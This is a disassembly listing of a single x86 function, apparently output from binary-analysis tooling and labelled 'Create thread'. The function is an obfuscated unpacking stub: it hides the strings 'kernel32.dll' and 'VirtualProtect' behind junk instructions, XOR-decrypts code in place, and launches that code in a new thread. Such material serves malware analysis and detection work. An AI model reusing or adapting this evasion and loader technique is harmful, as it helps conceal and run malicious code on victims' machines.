Function at 0x401a55
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
inc eax
dec eax
popfd
call fcn.00401e6b
nop
lea eax, [ebp - 0xd8]
pushfd
push 0xea554d5c
add esp, 4
popfd
mov ebx, 0x61
nop
pushfd
push 0x95f6e4e0
add esp, 4
popfd
add bx, 0xa
xchg ecx, edx
xchg edx, ecx
xchg esi, ecx
xchg ecx, esi
mov word [eax], bx
push esi
pop esi
sub bx, 6
xchg edx, edi
xchg edi, edx
mov word [eax + 2], bx
xchg esi, ebx
xchg ebx, esi
add bx, 0xd
push eax
pop eax
mov word [eax + 4], bx
pushfd
inc ecx
dec ecx
popfd
pushfd
xor edx, 0x90a6392c
xor edx, 0x90a6392c
popfd
sub bx, 4
push eax
pop eax
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 6], bx
xchg edx, ecx
xchg ecx, edx
push eax
pop eax
sub bx, 9
pushfd
push 0xf638cac1
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov word [eax + 8], bx
mov edx, edx
pushfd
push eax
add esp, 4
popfd
add bx, 7
push eax
push edi
pop edi
pop eax
mov word [eax + 0xa], bx
xchg esi, edx
xchg edx, esi
sub bx, 0x39
pushfd
inc edx
dec edx
popfd
mov word [eax + 0xc], bx
push edi
push ecx
pop ecx
pop edi
push edi
pop edi
dec bx
push eax
pop eax
mov word [eax + 0xe], bx
push ecx
pop ecx
push edi
pop edi
sub bx, 4
pushfd
inc esi
dec esi
popfd
push esi
pop esi
mov word [eax + 0x10], bx
pushfd
push 0xe70f4ae0
add esp, 4
popfd
push ebx
pop ebx
add bx, 0x36
pushfd
inc eax
dec eax
popfd
pushfd
push 0xc2758c83
add esp, 4
popfd
mov word [eax + 0x12], bx
xchg esi, esi
pushfd
push 0x29fbbf8
add esp, 4
popfd
add bx, 8
push eax
push esi
pop esi
pop eax
pushfd
xor ebx, 0xcfaf6135
xor ebx, 0xcfaf6135
popfd
mov word [eax + 0x14], bx
xchg ebx, ecx
xchg ecx, ebx
mov word [eax + 0x16], bx
pushfd
push 0xbd8c88c
add esp, 4
popfd
mov word [eax + 0x18], 0
pushfd
xor ecx, 0x7f3210a9
xor ecx, 0x7f3210a9
popfd
pushfd
push edx
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov edi, edi
mov dword [ebp - 0x10], eax
mov ebx, ebx
mov eax, eax
lea eax, [ebp - 0xd8]
push eax
push esi
pop esi
pop eax
push eax
push ebx
pop ebx
pop eax
mov ebx, 0x61
pushfd
push edi
add esp, 4
popfd
sub bl, 0xb
xchg esi, eax
xchg esi, eax
pushfd
push 0x7c070e1b
add esp, 4
popfd
mov byte [eax], bl
push eax
push edi
pop edi
pop eax
pushfd
xor ebx, 0x991b4d95
xor ebx, 0x991b4d95
popfd
add bl, 0x13
pushfd
push 0x9ec060c5
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 1], bl
nop
mov ebx, ebx
add bl, 9
pushfd
xor ebx, 0x4010f576
xor ebx, 0x4010f576
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 2], bl
mov ebx, ebx
pushfd
inc ecx
dec ecx
popfd
add bl, 2
pushfd
push esi
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 3], bl
xchg edx, edi
xchg edi, edx
push edi
pop edi
inc bl
pushfd
push 0x65237618
add esp, 4
popfd
mov byte [eax + 4], bl
xchg esi, esi
sub bl, 0x14
pushfd
inc edx
dec edx
popfd
pushfd
xor edx, 0x1cfeeae8
xor edx, 0x1cfeeae8
popfd
mov byte [eax + 5], bl
pushfd
push edx
add esp, 4
popfd
add bl, 0xb
push esi
push edx
pop edx
pop esi
mov byte [eax + 6], bl
xchg ecx, eax
xchg ecx, eax
push eax
push esi
pop esi
pop eax
sub bl, 0x1c
push ecx
pop ecx
mov byte [eax + 7], bl
mov edx, edx
pushfd
push edi
add esp, 4
popfd
add bl, 0x22
pushfd
xor eax, 0x40f94dc
xor eax, 0x40f94dc
popfd
pushfd
push 0x63f12841
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
push 0xd3191745
add esp, 4
popfd
sub bl, 3
xchg ecx, ecx
mov eax, eax
mov byte [eax + 9], bl
pushfd
push 0x6b8e4558
add esp, 4
popfd
add bl, 5
xchg edi, edi
mov byte [eax + 0xa], bl
pushfd
push esi
add esp, 4
popfd
push ebx
pop ebx
sub bl, 0xf
pushfd
inc eax
dec eax
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0xb], bl
xchg esi, eax
xchg esi, eax
sub bl, 2
push edi
push esi
pop esi
pop edi
mov byte [eax + 0xc], bl
push edi
pop edi
add bl, 0x11
pushfd
inc edx
dec edx
popfd
mov ecx, ecx
mov byte [eax + 0xd], bl
pushfd
xor esi, 0x711854d3
xor esi, 0x711854d3
popfd
xchg ecx, edi
xchg edi, ecx
mov byte [eax + 0xe], 0
pushfd
push ebx
add esp, 4
popfd
push edi
push eax
pop eax
pop edi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push 0x55c5d544
add esp, 4
popfd
push ebx
pop ebx
mov dword [ebp - 0xc], eax
mov eax, eax
pushfd
push edi
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
xor ebx, 0x38d6e165
xor ebx, 0x38d6e165
popfd
push eax
push 4
push 0x393
push entry0
call dword [ebp - 0xc]
pushfd
inc edi
dec edi
popfd
pushfd
push ebx
add esp, 4
popfd
mov edi, entry0
pushfd
push ebx
add esp, 4
popfd
mov esi, 0x40100e
push ecx
push ebx
pop ebx
pop ecx
mov ebx, ebx
mov ecx, 0x393
push eax
push ecx
pop ecx
pop eax
mov edx, 0x64b4de63
push edi
push eax
pop eax
pop edi
xchg esi, esi
mov ebx, 0xdffff7ff
pushfd
push 0x1942e807
add esp, 4
popfd
push ecx
push edx
pop edx
pop ecx
cld
mov esi, esi
lodsb al, byte [esi]
mov ebx, ebx
xor al, dl
mov edx, edx
stosb byte es:[edi], al
mov ecx, ecx
ror edx, 5
xchg edx, edx
imul edx, edx, 7
mov ebx, ebx
test ebx, 1
xchg edi, edi
je 0x401dd7
nop
add esi, 2
xchg ebx, ebx
ror ebx, 1
xchg ebx, ebx
dec ecx
xchg edi, edi
test ecx, ecx
nop
jne 0x401db1
push edx
push eax
pop eax
pop edx
pushfd
xor edi, 0x21596108
xor edi, 0x21596108
popfd
lea eax, [ebp - 8]
pushfd
push 0xc43614aa
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
push eax
push 0x20
push 0x393
push entry0
call dword [ebp - 0xc]
xchg edx, eax
xchg edx, eax
lea eax, [ebp - 4]
pushfd
push 0x3378af43
add esp, 4
popfd
push esi
push edi
pop edi
pop esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov esi, esi
xchg esi, edi
xchg edi, esi
push eax
pop eax
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
nop
jmp 0x401e45